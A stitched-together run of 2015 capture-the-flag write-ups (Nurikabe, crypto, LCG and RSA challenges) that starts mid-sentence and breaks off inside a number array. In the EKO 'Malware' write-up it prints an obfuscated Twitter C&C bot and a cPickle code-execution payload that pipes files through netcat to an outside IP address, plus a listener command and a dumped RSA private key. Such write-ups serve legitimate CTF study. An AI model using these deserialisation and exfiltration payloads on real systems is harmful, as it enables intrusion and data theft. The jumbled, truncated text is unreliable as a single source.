white squares in a 2x2 box anywhere in the input. It is this requirement that finally clues me into what's going on here: the map is a Nurikabe puzzle, a Japanese puzzle that requires you to fill in a grid of black and white squares using exactly the same rules as are being checked here. #### Solving Nurikabe Armed with this knowledge, I downloaded and tried a few different Nurikabe solvers. The ["DotNet Nurikabe Solver"](http://sourceforge.net/projects/nurikabedotnet/) solved the puzzle, producing the solution 01000101000100100110 01011111111111111010 11101001010010001110 10100111010101110011 10011100111101011110 11110111010011100010 10001100110100111010 11100011011111000111 10111001100010100000 10000111011110111111 11111100110011000100 10010110001100111100 10101011101010100111 11101101011111100010 10101011100010111011 11011100011110001100 01001011110001110100 11111110100111001100 10101010111101110111 10101010010110010010 Encoding this solution yields the flag hitcon{7O^Im//SAofbOAmFFFS33AY.VF^S=d3YsIo*(AA//FIfDE"=ibiYAi/.ibo11V=-^+JO/Sb-im1si^-D}
## Challenge We get only 62 characters to convert the letters in a string into alternating upper and lower case: ```"Hello World! Hallo Welt!"```becomes```"HeLlO wOrLd! HaLlO wElT!"``` ## Solution Using a similar strategy to perl golf, we had a legit 63 character solution: ```php
# Hackover 2015 CTF - yodigga!## Details | Contest | Challenge | Category | Points || :------- | :-------- | :------- | :----- || Hackover | yodigga! | crypto | 500 | *Description*>Watch out for trolls, they bite.>>`nc yodigga.hackover.h4q.it 1342` ---- ### Write-up ```What do you want? flag? source? maoam?cmd: source hack...FLAG = 'hackover15{trolololol}over15{noNeedToBreakDHright?}'...```So, flag is hackover15{noNeedToBreakDHright?}
As the name already suggested, the Skytale cipher was used. A quick manual check resulted in an offset of 7, yielding: EKOMYFIRSTCRYPTOCHALLFlag: EKO{MYFIRSTCRYPTOCHALL}~HomeSen
## XOR Crypter (crypto 200p) Description: The state of art on encryption, can you defeat it? CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= ### PL[ENG](#eng-version) Cały kod szyfrujący jest [tutaj](shiftcrypt.py).Szyfrowanie jest bardzo proste, aż dziwne że zadanie było za 200 punktów. Szyfrowanie polega na podzieleniu wejściowego tekstu na 4 bajtowe kawałki (po dodaniu paddingu jeśli to konieczne, aby rozmiar wejścia był wielokrotnością 4 bajtów), rzutowanie ich na inta a następnie wykonywana jest operacja `X xor X >>16`. Jeśli oznaczymy kolejnymi literami bajty tego inta uzyskujemy: `ABCD ^ ABCD >> 16 = ABCD ^ 00AB = (A^0)(B^0)(C^A)(D^B) = AB(C^A)(D^B)` Jak widać dwa pierwsze bajty są zachowywane bez zmian a dwa pozostałe bajty są xorowane z tymi dwoma niezmienionymi. Wiemy także że xor jest operacją odwracalną i `(A^B)^B = A` możemy więc odwrócić szyfrowanie dwóch ostatnich bajtów xorując je jeszcze raz z pierwszym oraz drugim bajtem (pamiętając przy tym o kolejności bajtów) ```pythondata = "CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA="decoded = base64.b64decode(data)blocks = struct.unpack("I" * (len(decoded) / 4), decoded)output = ''for block in blocks: bytes = map(ord, struct.pack("I", block)) result = [bytes[0] ^ bytes[2], bytes[1] ^ bytes[3], bytes[2], bytes[3]] output += "".join(map(chr, result))print(output)``` W wyniku czego uzyskujemy flagę: `EKO{unshifting_the_unshiftable}` ### ENG version Cipher code is [here](shiftcrypt.py).The cipher is actually very simple, it was very strange that the task was worth 200 point. The cipher splits the input text in 4 byte blocks (after adding padding if necessary so that the input is a multiply of 4 bytes), casting each block to integer and the performing `X xor X >>16`. If we mark each byte of the single block with consecutive alphabet letters we get: `ABCD ^ ABCD >> 16 = ABCD ^ 00AB = (A^0)(B^0)(C^A)(D^B) = AB(C^A)(D^B)` As can be noticed, first two bytes are unchanged and last two are xored with those two unchanged. We also know that xor is reversible and `(A^B)^B = A` so we can revert the cipher of the last two bytes by xoring them again with first and second byte (keeping in mind the byte order). ```pythondata = "CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA="decoded = base64.b64decode(data)blocks = struct.unpack("I" * (len(decoded) / 4), decoded)output = ''for block in blocks: bytes = map(ord, struct.pack("I", block)) result = [bytes[0] ^ bytes[2], bytes[1] ^ bytes[3], bytes[2], bytes[3]] output += "".join(map(chr, result))print(output)``` As a result we get: `EKO{unshifting_the_unshiftable}`
[](ctf=ekoparty-ctf-2015)[](type=reversing)[](tags=malware,control,pickle,RSA)[](tools=Twitter,easy-python-decompiler)[](techniques=Decompiling) # Malware (rev-200) We have a [zip](../rev200.zip).Extract and we get ```bash$ file ekobot_final.pyc ekobot_final.pyc: python 2.7 byte-compiled``` Byte-compiled python can be very easily decompiled. So here I use [Easy Python Decompiler](http://sourceforge.net/projects/easypythondecompiler/). We get an [output](ekobot_final.py) which is scary! ```python# Embedded file name: ekobot_final.pyimport osimport sysimport httplib2import cPicklefrom Crypto.PublicKey import RSAfrom base64 import b64decodefrom twython import Twythonif 0: i11iIiiIiiOO0o = 'ekoctf'if 0: Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000oif len(sys.argv) != 2: os._exit(0) if 0: IiII1IiiIiI1 / iIiiiI1IiI1I1o0OoOoOO00 = sys.argv[1]if 0: OOOo0 / Oo - Ooo00oOo00o.I1IiIo0OOO = 'ienmDwTNHZVR9si4SzeCg1glB'iIiiiI = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'if 0: iii1II11ii * i11iII1iiI + iI1Ii11111iIi + ii1II11I1ii1I + oO0o0ooO0 - iiIIIII1i1iI def o0oO0(): oo00 = 0 if os.path.isfile(o0OoOoOO00): try: o00 = open(o0OoOoOO00, 'r') oo00 = int(o00.readline(), 10) except: oo00 = 0 return oo00 if 0: II1ii - o0oOoO00o.ooO0OO000o + ii1II11I1ii1I.ooO0OO000o - iI1Ii11111iIi def oo(twid): try: o00 = open(o0OoOoOO00, 'w') o00.write(str(twid)) except: if 0: oO0o0ooO0 - OO0O0O - IiII1IiiIiI1.ii1II11I1ii1I * iiIIIII1i1iI * ii1I if 0: ii1II11I1ii1I def oo00000o0(url): I11i1i11i1I = httplib2.Http('') Iiii, OOO0O = I11i1i11i1I.request(url, 'GET') if Iiii.status == 200: try: if Iiii['content-type'][0:10] == 'text/plain': return OOO0O return 'Err' except: return 'Err' else: return url if 0: o0oOoO00o def IiI1i(cipher_text): try: OOo0o0 = RSA.importKey(open('ekobot.pem').read()) O0OoOoo00o = b64decode(cipher_text) iiiI11 = OOo0o0.decrypt(O0OoOoo00o) return iiiI11 except Exception as OOooO: print str(OOooO) return 'Err' if 0: OOOo0 + Oo / ii1II11I1ii1I * iiiii II111iiii = Twython(o0OOO, iIiiiI, oauth_version=2)II = II111iiii.obtain_access_token()II111iiii = Twython(o0OOO, access_token=II)if 0: Oo % ii1Ioo00 = o0oO0()o0oOo0Ooo0O = II111iiii.search(q='#' + OO0o, rpp='250', result_type='mixed', since_id=oo00)if 0: I1IiI * iiIIIII1i1iI * iI1Ii11111iIi - oO0o0ooO0 - Ooo00oOo00ofor OooO0OO in o0oOo0Ooo0O['statuses']: if OooO0OO['id'] > oo00: oo00 = OooO0OO['id'] if 0: ooO0OO000o iii11iII = 0 try: for i1I111I in OooO0OO['entities']['hashtags']: if i1I111I['text'] == OO0o: iii11iII = 1 if iii11iII == 1: for i11I1IIiiIi in OooO0OO['entities']['urls']: if os.fork() == 0: IiIiIi = IiI1i(oo00000o0(i11I1IIiiIi['url'])) if IiIiIi[0:5] == 'eko11': cPickle.loads(IiIiIi[5:]) os._exit(0) if 0: iii1II11ii.Oo.iIiiiI1IiI1I1.ii1I except Exception as OOooO: print str(OOooO) if 0: ii1II11I1ii1I + ooO0OO000o % i11iIiiIii.o0oOoO00o - IiII1IiiIiI1 oo(oo00)```I scroll though the code and rename variables to make it more readable and easy to debug. [Final](ekobot-chall.py)```pythonimport osimport sysimport httplib2import cPicklefrom Crypto.PublicKey import RSAfrom base64 import b64decodefrom twython import Twythonname = 'ekoctf' if len(sys.argv) != 2: os._exit(0) if 0: IiII1IiiIiI1 / iIiiiI1IiI1I1argv_1 = sys.argv[1]Secret = 'ienmDwTNHZVR9si4SzeCg1glB'key = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'print "Here!"def o0oO0(): max_id = 0 if os.path.isfile(argv_1): try: o00 = open(argv_1, 'r') max_id = int(o00.readline(), 10) except: max_id = 0 return max_id def save_new_max(twid): try: o00 = open(argv_1, 'w') o00.write(str(twid)) except: print error def get_content(url): print url I11i1i11i1I = httplib2.Http('') Iiii, OOO0O = I11i1i11i1I.request(url, 'GET') if Iiii.status == 200: try: if Iiii['content-type'][0:10] == 'text/plain': return OOO0O return 'Err' except: return 'Err' else: return url def decrypt(cipher_text): print cipher_text return 'err' try: OOo0o0 = RSA.importKey(open('ekobot.pem').read()) O0OoOoo00o = b64decode(cipher_text) iiiI11 = OOo0o0.decrypt(O0OoOoo00o) return iiiI11 except Exception as OOooO: print str(OOooO) return 'Err'twython_object = Twython(Secret, key, oauth_version=2)access_token = twython_object.obtain_access_token()twython_object = Twython(Secret, access_token=access_token)max_id = o0oO0()search_result = twython_object.search(q='#' + name, rpp='250', result_type='mixed', since_id=max_id) for i in search_result['statuses']: print i['id'] if i['id'] > max_id: max_id = i['id'] iii11iII = 0 try: for i1I111I in i['entities']['hashtags']: if i1I111I['text'] == name: iii11iII = 1 if iii11iII == 1: for j in i['entities']['urls']: if True: IiIiIi = decrypt(get_content(j['url'])) print IiIiIi if IiIiIi[0:5] == 'eko11': cPickle.loads(IiIiIi[5:]) #os._exit(0) except Exception as OOooO: print str(OOooO) print max_id```Now twython is Python wrapper for the Twitter API. Here first the program is registering itself and then searching for tweets with 'ekoctf' tag. For every tweet it will try to extract a url from it, then visit the url and dowload the content if its 'text\plain' Content-type. Next this content is decrypted by some private key locally stored. The decrypted plaintext is verified for starting with 'eko11' and the rest is loaded os cPickle. cPickle is used to serialize python objects and suffers from code execution on loads(). ```pythoncPickle.loads('cos\nsystem\n(S'cat /etc/passwd'\ntR.'\ntR.')```If this service is being run somewhere then we can have code execution on that machine just by Tweeting our commands.A nice example of C&C( command and control ). However we would need a public key for encrypting the data. Looking around on twitter we find the [key](pub.pem) with same hashtag.Now we can get the flag by various methods on the machine. We can make a request to a controlled domain with contents of the flag. What I did was "cat * | nc my-machine port". It will dump the contents of every file to the port which I was listening on my machine.A quick RSA encryption```pythonfrom Crypto.PublicKey import RSAfrom base64 import b64decode,b64encode key=RSA.importKey(open('pub.pem').read())exploit="eko11"+"cos\nsystem\n(S'cat * | nc 182.70.222.238 8000'\ntR.'\ntR."txt=key.encrypt(exploit,32)[0]final=b64encode(txt)print final```` We can use pastebin's view-raw url as a link in the tweet and ```bashwhile true ; do nc -l -n -v -p 8000 ; done```on my machine. After some 30-40 seconds```-----BEGIN RSA PRIVATE KEY-----MIIEpAIBAAKCAQEAmWw84H8BSPG1Ispn1hBPWZ4ORxniLhOl76aOAsGsqdRZJyL+PFLWedGUx0ELwzf3vWQ2wMDwN37MZYWdS4z8WT6P4FRtK09UtDgqNUQdx49WBqDf2GmIT+uBwMQBUCe3x+RTVcwDzA1I0mPtJj3K6bGdmSSBZjgc6MA4rJil7xdSVP5Pedb8MZMKk/5tXmFl3gFjykk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Hw+ZGev1uo3fF0kpgM1Pyr6ELApIKxQGxJk9+Q0iyb17Qx7fw0pyaXvK6Ym/UXFe2gt/WCJsD7AY9QhrJmj2AsM9RkVt6dJ577CzkwKBgQCk8oTtzfyXzUWcqsiekmHmzDAuO+SH/a0/FP2ceTq0I1caS6OAvYljR9aTJk5P02EmnfWCZVpMhzHlL4zO1x+2PiUiAXOthbyufWt5qyigp6jsNouLqFz0Oksk+bPu1XDVqT2XpoQtFXyFuJZmaFlA3k2Ny7rGe5bJ8XWCX6E+Bg==-----END RSA PRIVATE KEY----------BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmWw84H8BSPG1Ispn1hBPWZ4ORxniLhOl76aOAsGsqdRZJyL+PFLWedGUx0ELwzf3vWQ2wMDwN37MZYWdS4z8WT6P4FRtK09UtDgqNUQdx49WBqDf2GmIT+uBwMQBUCe3x+RTVcwDzA1I0mPtJj3K6bGdmSSBZjgc6MA4rJil7xdSVP5Pedb8MZMKk/5tXmFl3gFjykkUfG+DbmsxulZ48D+IoIU6bVWAkael+ftZtDWY43XkezD2swV01Eaw4J7MzBakPDA6KipxNhKQZ2xoeEsP2p8L67qF48eUbxI1ukcrqdy0c92rSihmChGBmHQ2AREshtTTLpM24/Nrirje/QIDAQAB-----END PUBLIC KEY-----#/usr/bin/pythonimport osimport sysimport httplib2import cPicklefrom Crypto . PublicKey import RSAfrom base64 import b64decodefrom twython import Twythonif 64 - 64: i11iIiiIiiOO0o = 'ekoctf'if 81 - 81: Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000oif ( len ( sys . argv ) <> 2 ) : os . _exit ( 0 ) if 4 - 4: IiII1IiiIiI1 / iIiiiI1IiI1I1o0OoOoOO00 = sys . argv [ 1 ]if 27 - 27: OOOo0 / Oo - Ooo00oOo00o . I1IiIo0OOO = 'ienmDwTNHZVR9si4SzeCg1glB'iIiiiI = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'if 23 - 23: iii1II11ii * i11iII1iiI + iI1Ii11111iIi + ii1II11I1ii1I + oO0o0ooO0 - iiIIIII1i1iIdef o0oO0 ( ) : oo00 = 0 if os . path . isfile ( o0OoOoOO00 ) : try : o00 = open ( o0OoOoOO00 , "r" ) oo00 = int ( o00 . readline ( ) , 10 ) except : oo00 = 0 return oo00 if 62 - 62: II1ii - o0oOoO00o . ooO0OO000o + ii1II11I1ii1I . ooO0OO000o - iI1Ii11111iIidef oo ( twid ) : try : o00 = open ( o0OoOoOO00 , "w" ) o00 . write ( str ( twid ) ) except : pass if 89 - 89: oO0o0ooO0 - OO0O0O - IiII1IiiIiI1 . ii1II11I1ii1I * iiIIIII1i1iI * ii1I if 25 - 25: ii1II11I1ii1Idef oo00000o0 ( url ) : I11i1i11i1I = httplib2 . Http ( "" ) Iiii , OOO0O = I11i1i11i1I . request ( url , 'GET' ) if Iiii . status == 200 : try : if Iiii [ "content-type" ] [ 0 : 10 ] == 'text/plain' : return OOO0O else : return 'Err' except : return 'Err' else : return url if 94 - 94: o0oOoO00odef IiI1i ( cipher_text ) : try : OOo0o0 = RSA . importKey ( open ( 'ekobot.pem' ) . read ( ) ) O0OoOoo00o = b64decode ( cipher_text ) iiiI11 = OOo0o0 . decrypt ( O0OoOoo00o ) return iiiI11 except Exception , OOooO : print str ( OOooO ) return 'Err' if 58 - 58: OOOo0 + Oo / ii1II11I1ii1I * iiiiiII111iiii = Twython ( o0OOO , iIiiiI , oauth_version = 2 )II = II111iiii . obtain_access_token ( )II111iiii = Twython ( o0OOO , access_token = II )if 63 - 63: Oo % ii1Ioo00 = o0oO0 ( )o0oOo0Ooo0O = II111iiii . search ( q = '#' + OO0o , rpp = "250" , result_type = "mixed" , since_id = oo00 )if 81 - 81: I1IiI * iiIIIII1i1iI * iI1Ii11111iIi - oO0o0ooO0 - Ooo00oOo00ofor OooO0OO in o0oOo0Ooo0O [ 'statuses' ] : if OooO0OO [ 'id' ] > oo00 : oo00 = OooO0OO [ 'id' ] if 28 - 28: ooO0OO000o iii11iII = 0 try : for i1I111I in OooO0OO [ 'entities' ] [ 'hashtags' ] : if i1I111I [ 'text' ] == OO0o : iii11iII = 1 if iii11iII == 1 : for i11I1IIiiIi in OooO0OO [ 'entities' ] [ 'urls' ] : if os . fork ( ) == 0 : IiIiIi = IiI1i ( oo00000o0 ( i11I1IIiiIi [ 'url' ] ) ) if IiIiIi [ 0 : 5 ] == 'eko11' : cPickle . loads ( IiIiIi [ 5 : ] ) os . _exit ( 0 ) if 40 - 40: iii1II11ii . Oo . iIiiiI1IiI1I1 . ii1I except Exception , OOooO : print str ( OOooO ) if 33 - 33: ii1II11I1ii1I + ooO0OO000o % i11iIiiIii . o0oOoO00o - IiII1IiiIiI1oo ( oo00 )# dd678faae9ac167bc83abf78e5cb2f3f0688d3a3EKO{simple_C&C_RSAtu1ts}``` Flag:>EKO{simple_C&C_RSAtu1ts} PS: I spent about 10 hours on this chall only because of the API. It never read my tweets. The admin fmunozs was cool and helpful and even used his account to tweet. Cheers man!
## Challenge The teacher of your programming class gave you a tiny little task: just write a guess-my-number script that beats his script. He also gave you some hard facts: - he uses some LCG with standard glibc LCG parameters - the LCG is seeded with server time using number format YmdHMS (python strftime syntax) - numbers are from 0 up to (including) 99 - numbers should be sent as ascii string You can find the service on school.fluxfingers.net:1523 If we telnet or netcat to the service we see: ```$ nc school.fluxfingers.net 1523Welcome to the awesome guess-my-number game!It's 22.10.2015 today and we have 01:22:03 on the server right now. Today's goal is easy:just guess my 100 numbers on the first try within at least 30 seconds from now on.Ain't difficult, right?Now, try the first one:42Wrong! You lost the game. The right answer would have been '63'. Quitting.``` ## Solution After some googling we find LCG code here which we can use http://rosettacode.org/wiki/Linear_congruential_generator. However, the size of the numbers output is too big for what we need so we can assume that mod 100 is used. After inspecting the generated array we see that the first number expected by the the game is the last number in the array, so we simply reverse the array then submit the answer. ```ruby# Connect then wait for the game to beginconnection = Net::Telnet::new("Host" => "school.fluxfingers.net", "Timeout" => 10, "Port" => "1523") datetime = "20151022"msg = connection.waitfor(/Now, try the first one:/) { |c| puts c } # Get the time from the game message and append to the datemsg = msg.split("\n")datetime << msg[1][34..-49]datetime = datetime.delete(":").to_i # Use datetime as the seed and save the numbers in reverse orderlcg = LCG::Berkeley.new(datetime)nums = (0..99).map {lcg.rand % 100} # mod 100 herenums = nums.reversep nums # Sumbit each number, waiting for the service to return the expected string before entering the next numbernums.each do |num| connection.cmd("String" => num.to_s, "Match" => /Correct!/) { |c| print c }end```![](guessthenumber_solved.png) Full code [here](guessthenumber.rb). **flag{don't_use_LCGs_for_any_guessing_competition}** ## Solved bydestiny
[](ctf=hack.lu-2015)[](type=crypto)[](tags=rsa) # Creative Cheating (crypto-150) We have a [pcapng](../dump_2bd6da8de87c6f1170dec710f7268a16.pcapng).Opening it with wireshark we see data packets. Follow the stream and extract it to a [file](str).We see the data is base64'd. ```bashcat str | base64 -d > full``` each line has data in this format.```SEQ = 00; DATA = 0x19688f112a61169c9090a4f9918dL; SIG = 0x1448ac6eee2b2e91a0a6241e590eL;```What we can conclude is that DATA is the actual ciphertext which was sent to Bob (192.168.0.37). DATA was encrypted using public key of Bob. So we hit factor-db and generate private key for BOB to decrypt data. ```python>>> p=49662237675630289>>> q=62515288803124247>>> s=(p-1)*(q-1)>>> n=3104649130901425335933838103517383>>> p*q==nTrue>>> e=0x10001>>> d=modinv(e,s)>>> d1427000713644866747260499795119265L>>> arr=[0x19688f112a61169c9090a4f9918d,0x50d31689fa2c33f1d5ca0dad9eda,0x50d31689fa2c33f1d5ca0dad9eda,0x59e9bb001b0d9167dbc39dd544c9,0x633282273f9cf7e5a44fcbe1787b,0x7492f4ec9001202dcb569df468b4,0x13a5bbd5163bdf483542906c5bf,0x23d28a636bf59c450ca3a2b0ac13,0x292ffa2958c1318f687dd9ec5d12,0x41c66817dcc70c5cfefa5ac8af9d,0xa02a43cdf9aa345fe83f059cab4,0x2499d57d670c0c0c5880f546cb5d,0x65a0b57d059cb247145db046af3c,0x8a03676745df01e16745145dd212,0x2671c629a6392f3bbeadbcbdab88,0x8a54684d56a3b75673ec3738b547,0x8c0f48af67a09cfa7d3085804a64,0x1eea254d861b2dc7ec03b37ef9fb,0x2c29150f1e311ef09bc9f06735ac,0x2edb62eac7c6e83082387da0576e,0x429cf23ec8e85b52ecbf7bfa5d7f,0x441a62ab479d293a3c3d11d65fde,0x6a8c6422b19f6f5834f32d3df4c2,0x9576dcc1ab851d9d75e83ba2c9ad,0x2b752adc362e851ae0fd926912,0x3b4ec3c9a846c4ed851d09ace122,0x7ccc3d3cb267d75acf0b10f579ec,0x94d97e04f52c2d6f42f9aacbf0b5,0x2b752adc362e851ae0fd926912,0x3b4ec3c9a846c4ed851d09ace122,0x5d06b6d84a20fb67244243f662f3,0x83afae83c1db7776751d56c3f09f,0x3b04b26a0adada2f67326bb0c5d6,0x3cda4bf9b498a68d4cb65bff6fc0,0x5764fa147de808bf29b73405f56,0x9903f776ab3f8256a97f644000e9,0x13a5bbd5163bdf483542906c5bf,0x26debd9510c16fbed4f6264e8b60,0x54cbbdfe6d19ca1b7b9f65964ad3,0x73f2f2383aa091122f26576e94fe,0x3b4ec3c9a846c4ed851d09ace122,0x633282273f9cf7e5a44fcbe1787b,0x292ffa2958c1318f687dd9ec5d12,0x54cbbdfe6d19ca1b7b9f65964ad3,0x5e908df14753d3ea014ecc28d205,0x6ff6c42dcdb0141e10b1af2d623b,0x8a54684d56a3b75673ec3738b547,0x8c0f48af67a09cfa7d3085804a64,0x94d97e04f52c2d6f42f9aacbf0b5,0xd24562795754da7abe213ffc11e,0x35582887dff2f5c6fe1250068d56,0x3b04b26a0adada2f67326bb0c5d6,0x73f2f2383aa091122f26576e94fe,0x75c1fbc28bb27b5d2db9601fb967,0x86116ef24e42925c5a0bb351b161,0x3b04b26a0adada2f67326bb0c5d6,0x45ccd8194a5006d0671bb8c2649,0x45ccd8194a5006d0671bb8c2649,0x580e36ce59978681f893e38d5eca,0x65a0b57d059cb247145db046af3c,0x7ccc3d3cb267d75acf0b10f579ec,0x83afae83c1db7776751d56c3f09f,0x28c15b4514c3e2e9bffc82d48b28,0x2c29150f1e311ef09bc9f06735ac,0x75c1fbc28bb27b5d2db9601fb967,0x3b4ec3c9a846c4ed851d09ace122,0x3be7ad8e70f76b69ece8f9dddf29,0x4332c62d0c1d2ec0ad9a3e124c94,0x441a62ab479d293a3c3d11d65fde,0x85c9583a51e9d9596de611a1cd68,0x1b3ce71fb5629fcb1475c493e5be,0x2660fc6177ce946f748d27a9f45,0x674880905956979ce49af33433,0x8f8610167c2a2ff1b9c751cba6db,0xd24562795754da7abe213ffc11e,0x12cde484c22a5a8fab7871047fd5,0x181901c059de3b0f2d4840ab3aeb,0x2b752adc362e851ae0fd926912,0x8fcb7853f81ab95a1ea3eff79f34,0xd24562795754da7abe213ffc11e,0x75c1fbc28bb27b5d2db9601fb967,0x23d28a636bf59c450ca3a2b0ac13,0x2edb62eac7c6e83082387da0576e,0x2fdcb98cf05f3b74617fbd2e746d,0x674880905956979ce49af33433,0x6a8c6422b19f6f5834f32d3df4c2,0x6a9edbe12c82e137a90f0b468c64,0x73f2f2383aa091122f26576e94fe,0x9903f776ab3f8256a97f644000e9,0xa02a43cdf9aa345fe83f059cab4,0x2126f8cd27ad55ad88b181e516df,0x383af46653cbacaf3c0cc07a4373,0x50d31689fa2c33f1d5ca0dad9eda,0x8fcb7853f81ab95a1ea3eff79f34,0xd24562795754da7abe213ffc11e,0x16245553948ff7f9ab93f0b4450c,0x2b752adc362e851ae0fd926912,0x5ff32b412642c1d38f3fd4acf949,0x685d0187b607d8ebdaded15fb68f,0x9576dcc1ab851d9d75e83ba2c9ad,0x35582887dff2f5c6fe1250068d56,0x3be7ad8e70f76b69ece8f9dddf29,0xd24562795754da7abe213ffc11e,0x59d0264d4a134fa5a91521b25e46,0x5d06b6d84a20fb67244243f662f3,0x75c1fbc28bb27b5d2db9601fb967,0xa02a43cdf9aa345fe83f059cab4,0x1b3ce71fb5629fcb1475c493e5be,0x26debd9510c16fbed4f6264e8b60,0x4b18961e28de875107675678d78f,0x5ff32b412642c1d38f3fd4acf949,0x73f2f2383aa091122f26576e94fe,0x7bc715a8e3c1adb9cfd960b78cf,0x83afae83c1db7776751d56c3f09f,0x1eea254d861b2dc7ec03b37ef9fb,0x1eea254d861b2dc7ec03b37ef9fb,0x23d28a636bf59c450ca3a2b0ac13,0x3cda4bf9b498a68d4cb65bff6fc0,0x3cda4bf9b498a68d4cb65bff6fc0,0x3cda4bf9b498a68d4cb65bff6fc0,0x5ff32b412642c1d38f3fd4acf949,0x97b83886b82ea3d7fb14de190c09,0x16245553948ff7f9ab93f0b4450c,0x19688f112a61169c9090a4f9918d,0x23d28a636bf59c450ca3a2b0ac13,0x59e9bb001b0d9167dbc39dd544c9,0x8a03676745df01e16745145dd212,0xd24562795754da7abe213ffc11e,0x3c3aed1b4b704aafcabc08342f18,0x75c1fbc28bb27b5d2db9601fb967,0x85c9583a51e9d9596de611a1cd68,0x9404c6232a26f5d671f12d83288,0x4a208f50370fffaefa558538f74c,0x5e908df14753d3ea014ecc28d205,0x83afae83c1db7776751d56c3f09f,0x8a54684d56a3b75673ec3738b547,0x3b4ec3c9a846c4ed851d09ace122,0x45ccd8194a5006d0671bb8c2649,0x28c15b4514c3e2e9bffc82d48b28,0x3a5344ce46409624f2aede274a48,0x12cde484c22a5a8fab7871047fd5,0x2b095bfd71acea1c34fd8a23c004,0x54cbbdfe6d19ca1b7b9f65964ad3,0x580e36ce59978681f893e38d5eca,0x5e908df14753d3ea014ecc28d205,0x674880905956979ce49af33433,0x69af16baca0232732b6f4e9b9022,0xd24562795754da7abe213ffc11e]>>> for c in arr:... m=pow(c,d,n)... print m,... 11 102 102 72 38 40 108 45 89 117 106 85 97 60 79 103 65 123 10 41 61 55 12 114 92 110 52 99 92 110 126 48 116 33 57 104 108 49 76 58 110 38 89 76 78 32 103 65 99 51 46 116 58 95 124 116 90 90 73 97 52 48 125 10 95 110 53 67 55 68 83 13 39 66 51 88 98 92 80 51 95 45 41 100 39 12 91 58 104 106 84 105 102 80 51 74 92 118 122 114 46 53 51 63 126 95 106 83 49 109 118 58 121 48 123 123 45 33 33 33 118 62 74 11 45 72 60 51 120 95 68 50 54 78 48 103 110 90 125 101 88 56 76 73 78 39 47 51```Now for the SIG part, this could be signed using Alice's (192.168.0.17) private key.RSA has a signing function in which the data is signed using private key and verified using public key.So we'll be using Alice's public key. ```python>>> sig=[0x1448ac6eee2b2e91a0a6241e590e,0x19e5013a9e49e660a006a8e9b631,0x38b725b6f99575bcd513811e78cd,0x66e706951133b2d1bfde29dc82a,0x2b15275412244442d9ee60fc91ae,0xc9107666b1cc040a4fc2e89e3e7,0x1cc712adfa8e3895148458fad2c1,0x28d3ccc117d1ad5a54236737bea2,0x4937e2bbe0dbc892a53215f13b21,0x340a2f96c79c275f5bbf341ada8a,0x400a19b82a4700ffc8a7515d7599,0x1188845d5e255b5d73d134dd52b5,0x1188845d5e255b5d73d134dd52b5,0x1378c25048c19853b6817eb9363a,0x1188845d5e255b5d73d134dd52b5,0x1378c25048c19853b6817eb9363a,0x26256f0cdc63fb0913051c9b9b4f,0x25812c2d740250b2c4aec0740ddf,0x1665fb2da761c4de89f27ac80cb,0x77d2d083e702509a6b471242fed,0x66e706951133b2d1bfde29dc82a,0xc040fb2d5e938c81dc8b15bd69b,0x303aab67f07f9ca1976279410fa2,0x12807354f28ce280d0ea7d9726c0,0x30451370b3f5c74000dc7a2532fe,0x3d724abd11a9a1ba703971a46d8d,0x26256f0cdc63fb0913051c9b9b4f,0x1e3b6d4eaf11582e85ead4bf90a9,0x1e3b6d4eaf11582e85ead4bf90a9,0x2b5b628bf8183400cdab7f5870b1,0x1448ac6eee2b2e91a0a6241e590e,0x400a19b82a4700ffc8a7515d7599,0x2e5ab24f9dc21df406a87de0b3b4,0x5037f3325310ec596cf095a27437,0x4ae0f894af2e414835513891bd55,0x1448ac6eee2b2e91a0a6241e590e,0x1188845d5e255b5d73d134dd52b5,0x4ae0f894af2e414835513891bd55,0x30451370b3f5c74000dc7a2532fe,0x1e3b6d4eaf11582e85ead4bf90a9,0x3d724abd11a9a1ba703971a46d8d,0x12ae909d2382b738caf4137d7947,0x4222c74411872367778be602e345,0x12ae909d2382b738caf4137d7947,0x2ccd9e623aa565fccd7b0fa7b0aa,0x38fc17600d3267841954e06855f3,0x1378c25048c19853b6817eb9363a,0x3023802e8921f6a47629b651c123,0x4937e2bbe0dbc892a53215f13b21,0x25812c2d740250b2c4aec0740ddf,0x443a54ee80465ea8794310bfc99,0x51c7d5caa67534b496fcf67b7157,0xc040fb2d5e938c81dc8b15bd69b,0x2b5b628bf8183400cdab7f5870b1,0xea818187da5a9d045e2d6e429d2,0x2e5ab24f9dc21df406a87de0b3b4,0x2ccd9e623aa565fccd7b0fa7b0aa,0xaad7220a88954e41e5550f1c1f,0x11bd1eea744e5965d04ee772fb9,0x94cbc50c353524255f889bce658,0xc9107666b1cc040a4fc2e89e3e7,0x400a19b82a4700ffc8a7515d7599,0x38fc17600d3267841954e06855f3,0x400a19b82a4700ffc8a7515d7599,0x2b5b628bf8183400cdab7f5870b1,0x303aab67f07f9ca1976279410fa2,0x3911b5a6218f4c18220e81f0b863,0x94cbc50c353524255f889bce658,0x4b65df436053ac77b39ee9af1c7b,0x74f5876df726ce1f4f0595d04dd,0x38b725b6f99575bcd513811e78cd,0x2bc3bf947c0e85444aa13efa1c15,0xd6268f00fe0e2964d56458f59e2,0x2f309d89b89368110a9aee62287f,0x208babd43638118bfbfa24675ee9,0x11681ed9707adaf16d0bae66c042,0x1b8bdf9468f81ce33a0da2a8bfbe,0xaad7220a88954e41e5550f1c1f,0x5037f3325310ec596cf095a27437,0x208babd43638118bfbfa24675ee9,0x2b5b628bf8183400cdab7f5870b1,0x2598f02931e3e1ad5ea7f483acb3,0x1188845d5e255b5d73d134dd52b5,0x30451370b3f5c74000dc7a2532fe,0x198901d5373ea225cc5c0db66987,0x43c5738ead6df476d2c79dcb6036,0x4b65df436053ac77b39ee9af1c7b,0x11bd1eea744e5965d04ee772fb9,0x1448ac6eee2b2e91a0a6241e590e,0x3d939c9477d93bfc83dd97c5f2f9,0xd6268f00fe0e2964d56458f59e